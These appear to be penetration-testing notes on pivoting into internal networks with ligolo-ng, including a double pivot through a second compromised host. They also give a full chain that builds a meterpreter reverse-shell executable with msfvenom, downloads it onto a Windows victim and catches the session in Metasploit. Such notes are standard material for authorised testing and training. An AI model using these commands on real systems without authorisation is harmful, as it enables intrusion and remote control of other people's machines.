When using nmap with ligolo-ng should specify --unprivileged
to avoid false positives.
-
Install if haven’t.
sudo apt install ligolo-ng
-
Download the proxy agent files here(download old one if new not working):
https://github.com/nicocha30/ligolo-ng/releases
-
Add ligolo TUN interface:
sudo ip tuntap add user <Your Username> mode tun ligolo
-
Enable the interface:
sudo ip link set ligolo up
-
Start our proxy server in attacker machine:
ligolo-proxy -selfcert -laddr 0.0.0.0:21
-
In our victim:
./agent -connect <Attack IP>:21 -ignore-cert
-
Once it is connected, go back to attacker machine should see agent connected. Run the
session
command and select the victim machine. -
Run the following (in the ligolo interface!). This will show you what network the victim can access to:
ifconfig
-
Based on the results above, use the following command (in linux not ligolo interface!). In this example the victim internal network ipv4 is 192.168.56.128/24:
sudo ip route add 192.168.56.0/24 dev ligolo
-
In ligolo interface with the selected agent, run
start
If double pivot is required (you have proxy on the first victim already, but need proxy on a second victim also through first victim)
-
Add a second ligolo TUN interface:
sudo ip tuntap add user <Your Username> mode tun ligolo2
-
Enable the interface:
sudo ip link set ligolo2 up
-
In your ligolo interface with the first victim selected, redirect the port 21 of first victim to our kali port 21:
listener_add --addr 0.0.0.0:21 --to 127.0.0.1:21 --tcp
-
To confirm it has been added:
listener_list
-
Now run the agent on the second victim (assuming it is windows):
./agent.exe -connect <IP of First Pivot Point>:21 -ignore-cert
-
Run the following for second victim (in the ligolo interface!). This will show you what network the second victim can access to:
ifconfig
-
Based on the results above, use the following command (in linux not ligolo interface!). In this example the second victim internal network ipv4 is 10.1.30.132/24:
sudo ip add route 10.1.30.0/24 dev ligolo2
-
In ligolo interface with the selected agent, run
tunnel_start --tun ligolo2
Setting up reverse shell if the second victim cannot reach attacker machine directly
-
Generate a reverse shell (but the IP must be for the first victim!):
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.128 LPORT=5656 EXITFUNC=thread -f exe -o shell.exe
-
To ensure you can download files on second victim from Kali, run this under ligolo interface for first victim. This forwards port 2222 of first victim to kali port 8888:
listener_add --addr 0.0.0.0:2222 --to 127.0.0.1:8888 --tcp
-
Then we can set up python download server on 8888:
python3 -m http.server 8888
-
Download the file on second victim (IP here is the first victim):
Invoke-WebRequest -Uri "http://192.168.56.128:2222/shell.exe" -OutFile shell.exe
-
On the ligolo interface for first victim run the following which will forward port 5656 on first victim to port 4444 on kali:
listener_add --addr 0.0.0.0:5656 --to 127.0.0.1:4444 --tcp
-
Wait for incoming connecting after running this:
msfconsole -q use multi/handler set payload windows/x64/meterpreter/reverse_tcp set lhost 0.0.0.0 set lport 4444 exploit
If you want to access internal services available only to that localhost of first victim, run the following on kali interface:
sudo ip route add 240.0.0.1/32 dev ligolo
You can then use 240.0.0.1 as if you are accessing 127.0.0.1 on the first victim. For example this will be like running nmap 127.0.0.1 on first victim:
nmap 240.0.0.1